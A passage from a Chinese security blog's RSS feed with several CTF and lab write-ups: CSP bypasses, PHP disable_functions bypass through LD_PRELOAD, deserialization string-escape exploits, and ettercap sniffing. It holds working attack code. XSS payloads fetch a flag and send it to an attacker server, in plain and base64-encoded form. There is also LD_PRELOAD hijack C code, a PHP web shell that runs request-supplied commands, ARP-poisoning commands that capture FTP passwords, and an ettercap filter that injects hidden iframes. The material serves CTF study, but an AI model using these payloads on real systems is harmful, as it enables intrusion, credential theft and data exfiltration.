&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者编码也是可以的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// NOTE:
// &quot;ZmV0Y...&quot; is base64 encoded text of this script.
// fetch(&quot;https://csp-1-5aa1f221.challenges.bsidessf.net/csp-one-flag&quot;).then(r=&amp;gt;r.text()).then(t=&amp;gt;fetch(&quot;YOUR_SERVER&quot;+t))

&amp;lt;script src=&quot;data:text/javascript;base64,ZmV0Y2goImh0dHBzOi8vY3NwLTEtNWFhMWYyMjEuY2hhbGxlbmdlcy5ic2lkZXNzZi5uZXQvY3NwLW9uZS1mbGFnIikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5mZXRjaCgiWU9VUl9TRVJWRVIiK3QpKQ==&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;csp-2&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Content-Security-Policy: 
script-src &apos;self&apos; ajax.googleapis.com &apos;unsafe-eval&apos;; 
default-src &apos;self&apos; &apos;unsafe-inline&apos;; 
connect-src *; report-uri /csp_report
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到了 &lt;code&gt;ajax.googleapis.com&lt;/code&gt; 在白名单中，可以使用其提供的angularjs的模板注入来绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;div ng-app ng-csp&amp;gt;
{{constructor.constructor(&apos;eval(atob(&quot;ZmV0Y2goIi9jc3AtdHdvLWZsYWciKS50aGVuKHg9PngudGV4dCgpKS50aGVuKHg9PmxvY2F0aW9uPSIvL3J3eC5rci8/Iitlc2NhcGUoeCkp&quot;))&apos;)()}}
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;payload2&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt; 
&amp;lt;div class=&quot;ng-app&quot;&amp;gt; {{ constructor.constructor(&apos;fetch(&quot;https://csp-2-2446d5a3.challenges.bsidessf.net/csp-two-flag&quot;).then(r=&amp;gt;r.text()).then(t=&amp;gt;fetch(&quot;YOUR_SERVER&quot;+t))&apos;)() }} &amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>绕过disable_function总结</title><link>https://rayepeng.net/posts/%E7%BB%95%E8%BF%87disable_function%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E7%BB%95%E8%BF%87disable_function%E6%80%BB%E7%BB%93/</guid><pubDate>Sun, 08 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基础知识&lt;/h2&gt;
&lt;p&gt;有一部分CTF题目，当你拿到webshell，蚁剑连接上去之后，却不能执行系统命令，这就是要绕过 &lt;code&gt;disable_function&lt;/code&gt; 了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583650697704.png&quot; alt=&quot;、&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到禁用了很多函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apache_child_terminate,apache_setenv,chgrp,chmod,chown,curl_exec,curl_multi_exec,dl,exec,imap_mail,imap_open,ini_alter,ini_restore,ini_set,link,mail,openlog,parse_ini_file,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_wait,pcntl_waitpid,pcntl_wstopsig,pcntl_wtermsig,popen,posix_kill,proc_get_status,proc_open,proc_terminate,putenv,readlink,shell_exec,symlink,syslog,system
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;LD_PRELOAD 劫持系统函数&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;LD_PRELOAD 是linux系统的一个环境变量，它可以影响程序的运行时的链接，它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以我们就可以通过利用环境变量LD_PRELOAD劫持系统函数，让外部程序加载恶意的.so文件，达到执行系统命令的效果&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ LD_PRELOAD=/path/to/my/malloc.so /bin/ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即在执行&lt;code&gt;ls&lt;/code&gt;命令前，会先加载指定路径的&lt;code&gt;malloc.so&lt;/code&gt;文件，如果这是一个恶意共享对象，那么可以执行任意操作。&lt;/p&gt;
&lt;p&gt;我们可以通过&lt;code&gt;readelf&lt;/code&gt;命令查看某个命令调用了哪些外部链接库，然后找到其中某个库，编写同名函数进行劫持，然后编译成共享对象文件，接着使用&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量指定生成的对象，达到命令执行的目的。&lt;/p&gt;
&lt;h3&gt;一个简单的劫持示例&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;getpid.c&lt;/code&gt; 的内容如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void payload(void){
    system(&quot;echo &apos;pwned by getpid!&apos;&quot;);
}

pid_t getpid(void){
    if (getenv(&quot;LD_PRELOAD&quot;) == NULL){
        return 0;
    }

    unsetenv(&quot;LD_PRELOAD&quot;);
    payload();

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们在这里劫持了 &lt;code&gt;getpid&lt;/code&gt; 函数，由于python运行的时候使用了 &lt;code&gt;getpid&lt;/code&gt; 函数，所以可以通过 &lt;code&gt;LD_PRELODAD&lt;/code&gt; 来执行任意命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc -shared -fPIC getpid.c -o getpid.so
LD_PRELOAD=./getpid.so python
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行效果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583651075354.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意：因为通过设置&lt;code&gt;preload&lt;/code&gt;劫持了比较底层的函数，而派发出的新进程如果用到该函数也会一并被劫持，也就是说如果没有及时&lt;code&gt;unsetenv(&quot;LD_PRELOAD&quot;)&lt;/code&gt;则会导致不断循环，一旦操作敏感就会比较危险，所以一定要及时删除这个环境变量，&lt;/p&gt;
&lt;p&gt;所以绕过php disable_function也就比较简单了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;php中的mail、error_log函数是通过调用系统中的sendmail命令实现的(其他类似php中的函数还有imap_mail、mb_send_mail&lt;a href=&quot;https://github.com/l3m0n/Bypass_Disable_functions_Shell&quot;&gt;参考&lt;/a&gt;)，sendmail二进制文件中使用了getuid库函数，这样我们可以覆盖getuid函数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;写一个 &lt;code&gt;getuid&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int  getuid() {
const char* cmdline = getenv(&quot;EVIL_CMDLINE&quot;);
if (getenv(&quot;LD_PRELOAD&quot;) == NULL) { return 0; }
unsetenv(&quot;LD_PRELOAD&quot;);
system(cmdline);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;gcc -shared -fPIC geteuid.c -o getuid.so&lt;/code&gt; 编译成动态链接库。&lt;/p&gt;
&lt;p&gt;然后再写一个php文件，设置好 &lt;code&gt;EVIL_CMDLINE&lt;/code&gt; 环境变量，同时需要执行 so 文件地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    $cmd = $_REQUEST[&quot;cmd&quot;];
    $out_path = $_REQUEST[&quot;outpath&quot;];
    $evil_cmdline = $cmd . &quot; &amp;gt; &quot; . $out_path . &quot; 2&amp;gt;&amp;amp;1&quot;;
    echo &quot;&amp;lt;p&amp;gt; &amp;lt;b&amp;gt;cmdline&amp;lt;/b&amp;gt;: &quot; . $evil_cmdline . &quot;&amp;lt;/p&amp;gt;&quot;;
    putenv(&quot;EVIL_CMDLINE=&quot; . $evil_cmdline);
    $so_path = $_REQUEST[&quot;sopath&quot;];
    putenv(&quot;LD_PRELOAD=&quot; . $so_path);
    mail(&quot;&quot;, &quot;&quot;, &quot;&quot;, &quot;&quot;);
    echo &quot;&amp;lt;p&amp;gt; &amp;lt;b&amp;gt;output&amp;lt;/b&amp;gt;: &amp;lt;br /&amp;gt;&quot; . nl2br(file_get_contents($out_path)) . &quot;&amp;lt;/p&amp;gt;&quot;;  
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;无需劫持函数绕过 disable_function&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD?files=1&amp;amp;tdsourcetag=s_pcqq_aiomsg&quot;&gt;下载地址&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GCC 有个 C 语言扩展修饰符&lt;strong&gt;attribute&lt;/strong&gt;((constructor))，可以让由它修饰的函数在 main() 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行&lt;strong&gt;attribute&lt;/strong&gt;((constructor)) 修饰的函数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;于是修改一下原来的共享链接库代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define _GNU_SOURCE

#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

__attribute__ ((__constructor__)) void getuid() {
const char* cmdline = getenv(&quot;EVIL_CMDLINE&quot;);
if (getenv(&quot;LD_PRELOAD&quot;) == NULL) { return 0; }
unsetenv(&quot;LD_PRELOAD&quot;);
system(cmdline);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;这意味着，我们只需要找到该php环境中存在执行系统命令的函数、且putenv函数未被禁用的情况下，就可以绕过disable_function。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;演示一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;

void payload(void){
    system(&quot;echo &apos;pwned!&apos;&quot;);
}

__attribute__ ((__constructor__)) void exec(void){
    if (getenv(&quot;LD_PRELOAD&quot;) == NULL){
        return;
    }

    unsetenv(&quot;LD_PRELOAD&quot;);
    payload();

    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583651506472.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;php7绕过disable_funtion&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/mm0r1/exploits&quot;&gt;脚本地址&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;ctfhub题目&lt;/h2&gt;
&lt;h3&gt;LD_PRELOAD&lt;/h3&gt;
&lt;p&gt;使用蚁剑连接之后，直接加载插件，之后生成一个 &lt;code&gt;.antproxy.php&lt;/code&gt; ，选择这个文件连接即可(密码不变)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583651719652.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://kylingit.com/blog/%E5%88%A9%E7%94%A8ld_preload%E7%BB%95%E8%BF%87disbale_functions/&quot;&gt;https://kylingit.com/blog/%E5%88%A9%E7%94%A8ld_preload%E7%BB%95%E8%BF%87disbale_functions/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://j7ur8.github.io/WebBook/PHP/LD_PRELOAD%E5%8A%AB%E6%8C%81%E7%B3%BB%E7%BB%9F%E5%87%BD%E6%95%B0.html&quot;&gt;https://j7ur8.github.io/WebBook/PHP/LD_PRELOAD%E5%8A%AB%E6%8C%81%E7%B3%BB%E7%BB%9F%E5%87%BD%E6%95%B0.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.szfszf.top/article/37/&quot;&gt;https://blog.szfszf.top/article/37/&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>反序列化导致字符的逃逸</title><link>https://rayepeng.net/posts/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AF%BC%E8%87%B4%E5%AD%97%E7%AC%A6%E7%9A%84%E9%80%83%E9%80%B8/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AF%BC%E8%87%B4%E5%AD%97%E7%AC%A6%E7%9A%84%E9%80%83%E9%80%B8/</guid><pubDate>Thu, 05 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;分析&lt;/h2&gt;
&lt;p&gt;PHP 在反序列化时，&lt;strong&gt;对类中不存在的属性也会进行反序列化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个点很神奇，&lt;/p&gt;
&lt;h2&gt;例题一&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function filter($string){
    return preg_match(&apos;/x/&apos;,&apos;yy&apos;,$string);
}

$username = &quot;peri0d&quot;;
$password = &quot;aaaaa&quot;;
$user = array($username, $password);

var_dump(serialize($user));
echo &apos;\n&apos;;

$r = filter(serialize($user));

var_dump($r);
echo &apos;\n&apos;;

var_dump(unserialize($r));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里将 &lt;code&gt;x&lt;/code&gt; 替换为 &lt;code&gt;yy&lt;/code&gt;,也就是变长了，正常的序列化数据为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a:2:{i:0;s:6:&quot;peri0d&quot;;i:1;s:5:&quot;aaaaa&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我们可以控制用户名去修改密码，那么应该是这样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a:2:{i:0;s:6:&quot;peri0d&quot;;i:1;s:6:&quot;123456&quot;;}&quot;;i:1;s:5:&quot;aaaaa&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(尤其注意这里的双引号)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;peri0d&lt;/code&gt; 长度为6，&lt;code&gt;&quot;;i:1;s:6:&quot;123456&quot;;}&lt;/code&gt; 长度为20&lt;/p&gt;
&lt;p&gt;x替换为yy，长度由原来的1变为2，那么我们这里设填充为z,满足&lt;/p&gt;
&lt;p&gt;6+20+z = 6+2z，得到的z就是20，所以填充x为20即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$username = &quot;peri0d&quot;;
$payload = &apos;&quot;;i:1;s:6:&quot;123456&quot;;}&apos;;
$x = str_repeat(&quot;x&quot;,20);
$username = $username.$x.$payload;
$password = &quot;aaaaa&quot;;
$user = array($username, $password);
$r = filter(serialize($user));

var_dump($r);
echo &apos;\n&apos;;

var_dump(unserialize($r));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;a:2:{i:0;s:46:&quot;peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy&quot;;i:1;s:6:&quot;123456&quot;;}&quot;;i:1;s:5:&quot;aaaaa&quot;;}&quot;

array(2) {
  [0] =&amp;gt;
  string(46) &quot;peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy&quot;
  [1] =&amp;gt;
  string(6) &quot;123456&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;例题二&lt;/h2&gt;
&lt;p&gt;安洵杯 easy_serialize_php&lt;/p&gt;
&lt;p&gt;代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; &amp;lt;?php

$function = @$_GET[&apos;f&apos;];

function filter($img){
    $filter_arr = array(&apos;php&apos;,&apos;flag&apos;,&apos;php5&apos;,&apos;php4&apos;,&apos;fl1g&apos;);
    $filter = &apos;/&apos;.implode(&apos;|&apos;,$filter_arr).&apos;/i&apos;;
    return preg_replace($filter,&apos;&apos;,$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION[&quot;user&quot;] = &apos;guest&apos;;
$_SESSION[&apos;function&apos;] = $function;

extract($_POST);

if(!$function){
    echo &apos;&amp;lt;a href=&quot;index.php?f=highlight_file&quot;&amp;gt;source_code&amp;lt;/a&amp;gt;&apos;;
}

if(!$_GET[&apos;img_path&apos;]){
    $_SESSION[&apos;img&apos;] = base64_encode(&apos;guest_img.png&apos;);
}else{
    $_SESSION[&apos;img&apos;] = sha1(base64_encode($_GET[&apos;img_path&apos;]));
}

$serialize_info = filter(serialize($_SESSION));

if($function == &apos;highlight_file&apos;){
    highlight_file(&apos;index.php&apos;);
}else if($function == &apos;phpinfo&apos;){
    eval(&apos;phpinfo();&apos;); //maybe you can find something in here!
}else if($function == &apos;show_image&apos;){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo[&apos;img&apos;]));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag 在 &lt;code&gt;d0g3_f1ag.php&lt;/code&gt; 这个文件中&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$_SESSION&lt;/code&gt; 数组中有 &lt;code&gt;user, funciton, img&lt;/code&gt; 这三个属性&lt;/p&gt;
&lt;p&gt;最后读文件的文件名是 &lt;code&gt;$_SESSION[&apos;img&apos;]&lt;/code&gt; ，如果能够控制这个属性就好了，但是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(!$_GET[&apos;img_path&apos;]){
    $_SESSION[&apos;img&apos;] = base64_encode(&apos;guest_img.png&apos;);
}else{
    $_SESSION[&apos;img&apos;] = sha1(base64_encode($_GET[&apos;img_path&apos;]));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;显然 &lt;code&gt;sha1&lt;/code&gt; 的数据你是没法控制的，那怎么搞呢&lt;/p&gt;
&lt;p&gt;重点在这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$serialize_info = filter(serialize($_SESSION));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;序列化之后经过了一次过滤&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;extract($_POST);&lt;/code&gt; 使得我们可以控制 &lt;code&gt;$_SESSION&lt;/code&gt; 数组中的 &lt;code&gt;user&lt;/code&gt; 和 &lt;code&gt;function&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;先测试一下正常的一段序列化字符：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a:3:{s:4:&quot;user&quot;;s:5:&quot;guest&quot;;s:8:&quot;function&quot;;s:4:&quot;2333&quot;;s:3:&quot;img&quot;;s:20:&quot;Z3Vlc3RfaW1nLnBuZwo=&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;能不能控制好user和function，使得加上一个我们控制好的img&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a:3:{s:4:&quot;user&quot;;s:5:&quot;guest&quot;;s:8:&quot;function&quot;;s:4:&quot;2333&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocAo=&quot;;s:2:&quot;dd&quot;;s:3:&quot;aaa&quot;;};s:3:&quot;img&quot;;s:20:&quot;Z3Vlc3RfaW1nLnBuZwo=&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样反序列化的时候最后的那个 img属性就是多余的了，我们来计算一下怎么利用过滤来达到目的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function filter($img){
    $filter_arr = array(&apos;php&apos;,&apos;flag&apos;,&apos;php5&apos;,&apos;php4&apos;,&apos;fl1g&apos;);
    $filter = &apos;/&apos;.implode(&apos;|&apos;,$filter_arr).&apos;/i&apos;;
    return preg_replace($filter,&apos;&apos;,$img);
}
$_SESSION[&apos;user&apos;] = &apos;2333&apos;;
$_SESSION[&apos;function&apos;] = &apos;a&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocAo=&quot;;s:2:&quot;dd&quot;;s:3:&quot;aaa&quot;;}&apos;;
$_SESSION[&apos;img&apos;] = &apos;Z3Vlc3RfaW1nLnBuZwo=&apos;;

$a = filter(serialize($_SESSION));

var_dump(filter(serialize($_SESSION)));
// var_dump(unserialize($a));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时生成的是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a:3:{s:4:&quot;user&quot;;s:4:&quot;2333&quot;;s:8:&quot;function&quot;;s:61:&quot;a&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocAo=&quot;;s:2:&quot;dd&quot;;s:3:&quot;aaa&quot;;}&quot;;s:3:&quot;img&quot;;s:20:&quot;Z3Vlc3RfaW1nLnBuZwo=&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们要让 &lt;code&gt;&quot;;s:8:&quot;function&quot;;s:61:&quot;a&lt;/code&gt; 这段字符被吃掉，成为 &lt;code&gt;user&lt;/code&gt; 的值，算一下长度24，正好是6个flag&lt;/p&gt;
&lt;p&gt;所以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function filter($img){
    $filter_arr = array(&apos;php&apos;,&apos;flag&apos;,&apos;php5&apos;,&apos;php4&apos;,&apos;fl1g&apos;);
    $filter = &apos;/&apos;.implode(&apos;|&apos;,$filter_arr).&apos;/i&apos;;
    return preg_replace($filter,&apos;&apos;,$img);
}
$_SESSION[&apos;user&apos;] = &apos;flagflagflagflagflagflag&apos;;
$_SESSION[&apos;function&apos;] = &apos;a&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocAo=&quot;;s:2:&quot;dd&quot;;s:3:&quot;aaa&quot;;}&apos;;
$_SESSION[&apos;img&apos;] = &apos;Z3Vlc3RfaW1nLnBuZwo=&apos;;

$a = filter(serialize($_SESSION));

var_dump(filter(serialize($_SESSION)));
var_dump(unserialize($a));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时候得到的结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a:3:{s:4:&quot;user&quot;;s:24:&quot;&quot;;s:8:&quot;function&quot;;s:61:&quot;a&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocAo=&quot;;s:2:&quot;dd&quot;;s:3:&quot;aaa&quot;;}&quot;;s:3:&quot;img&quot;;s:20:&quot;Z3Vlc3RfaW1nLnBuZwo=&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再进行反序列化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;array(3) {
  &apos;user&apos; =&amp;gt;
  string(24) &quot;&quot;;s:8:&quot;function&quot;;s:61:&quot;a&quot;
  &apos;img&apos; =&amp;gt;
  string(20) &quot;ZDBnM19mMWFnLnBocAo=&quot;
  &apos;dd&apos; =&amp;gt;
  string(3) &quot;aaa&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到成功地覆盖了img属性&lt;/p&gt;
&lt;p&gt;ps,又测试了一下如果有两个img属性会怎么搞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$_SESSION[&apos;user&apos;] = &apos;flagflagflagflagflagflag&apos;;
$_SESSION[&apos;function&apos;] = &apos;a&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocAo=&quot;;s:3:&quot;img&quot;;s:3:&quot;aaa&quot;;}&apos;;
$_SESSION[&apos;img&apos;] = &apos;Z3Vlc3RfaW1nLnBuZwo=&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到的结果是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;array(2) {
  &apos;user&apos; =&amp;gt;
  string(24) &quot;&quot;;s:8:&quot;function&quot;;s:62:&quot;a&quot;
  &apos;img&apos; =&amp;gt;
  string(3) &quot;aaa&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时img属性被合并了&lt;/p&gt;
</content:encoded></item><item><title>网络侦察实验</title><link>https://rayepeng.net/posts/%E7%BD%91%E7%BB%9C%E4%BE%A6%E5%AF%9F%E5%AE%9E%E9%AA%8C/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E7%BD%91%E7%BB%9C%E4%BE%A6%E5%AF%9F%E5%AE%9E%E9%AA%8C/</guid><pubDate>Thu, 05 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;实验的网络拓扑结构：kali是攻击机，另外两台是靶机&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583827591679.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583827763195.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务一 使用nmap,ettercap进行网络侦查和密码嗅探&lt;/h2&gt;
&lt;p&gt;ettercap使用&lt;/p&gt;
&lt;p&gt;常用参数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-l 显示可用网卡&lt;/li&gt;
&lt;li&gt;-i 选择网卡&lt;/li&gt;
&lt;li&gt;-t 协议选择，tcp/udp/all&lt;/li&gt;
&lt;li&gt;-p 不进行毒化攻击，只用来嗅探&lt;/li&gt;
&lt;li&gt;-F 载入过滤器文件&lt;/li&gt;
&lt;li&gt;-V text 将数据包以文本形式显示在屏幕上&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;ettercap -Tzq&lt;/code&gt; 以命令行显示，只嗅探本地数据包，只显示捕捉到的用户名和密码以及其他信息&lt;/p&gt;
&lt;p&gt;具体到这个实验，需要使用ettercap去捕获ftp登陆的用户名和口令。其中，192.168.1.3 开放了ftp端口，所以尝试多次之后&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ettercap -i eth1 -Tq -L sniffeddata -M arp:remote //192.168.1.3/21//
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就抓到密码了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Image-1583392370959.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ettercap过滤脚本学习：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; if (ip.proto == TCP &amp;amp;&amp;amp; ip.dst != &apos;192.1.1.200&apos; &amp;amp;&amp;amp; tcp.dst == 80 || tcp.dst == 8080) { 
     #...and if it contains an Accept-Encoding header... 
     if (search(DATA.data, &quot;Accept-Encoding&quot;)) { 
     #...remove any Encoding (make sure we are using plain text) 
     replace(&quot;Accept-Encoding&quot;, &quot;Accept-Nothing!&quot;);   
     }   
 }   
 #--Inject Iframe--   
 if (ip.proto == TCP &amp;amp;&amp;amp; ip.dst != &apos;192.1.1.200&apos; &amp;amp;&amp;amp; tcp.src == 80 || tcp.src == 8080) {   
    if (search(DATA.data, &quot;&amp;lt;body&amp;gt;&quot;)){   
        #Replace it with the body tag and an iframe to our attacking webpage   
        replace(&quot;&amp;lt;body&amp;gt;&quot;,&quot;&amp;lt;body&amp;gt;&amp;lt;iframe src=&apos;http://192.1.1.200&apos; width=0 height=0 /&amp;gt;&quot;);   
        msg(&quot;iframe injected after &amp;lt;body&amp;gt;\n&quot;);   
    }   
    if (search(DATA.data, &quot;&amp;lt;BODY&amp;gt;&quot;)){   
        replace(&quot;&amp;lt;BODY&amp;gt;&quot;,&quot;&amp;lt;BODY&amp;gt;&amp;lt;IFRAME SRC=&apos;http://192.1.1.200&apos; width=0 height=0 /&amp;gt;&quot;);   
        msg(&quot;iframe injected after &amp;lt;BODY&amp;gt;\n&quot;);   
    }   
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一部分的作用是将HTTP请求头中的Accept-Encoding部分替换掉，使WebServer返回的数据是原始数据，而不是经过压缩（如gzip）后的数据，方便我们嗅探分析。第二部分的作用是查找返回数据中的和标签，并在它后面添加一个iframe标签。&lt;/p&gt;
&lt;p&gt;基本语法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Ettercap的过滤规则只有经过编译之后才能由-F参数载入到ettercap中使用。
编译过滤规则的命令是：
etterfilter filter.ecf -o filter.ef。
即把filter.ecf文件编译成ettercap能识别的filter.ef文件。
过滤规则的语法与C类似，但只有if语句，不支持循环语句。需要注意的地方是，if与”(”之间必须要有一个空格，且大括号{}不能省略。
Ettercap提供的一些常用的函数有：
search(where, what) 从字符串where中查找what，若找到则返回true
regex(where, regex) 从字符串where中匹配正则表达式regex，若找到则返回true
replace(what, with) 把字符串what替换成字符串with
log(what, where) 把字符串what记录到where文件中
msg(message) 在屏幕上显示出字符串message
exit() 退出
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（当然这里不用这么复杂啦&lt;/p&gt;
&lt;h2&gt;任务二 使用crunch，hydra暴力破解ssh服务&lt;/h2&gt;
&lt;p&gt;crunch的基本用法&lt;/p&gt;
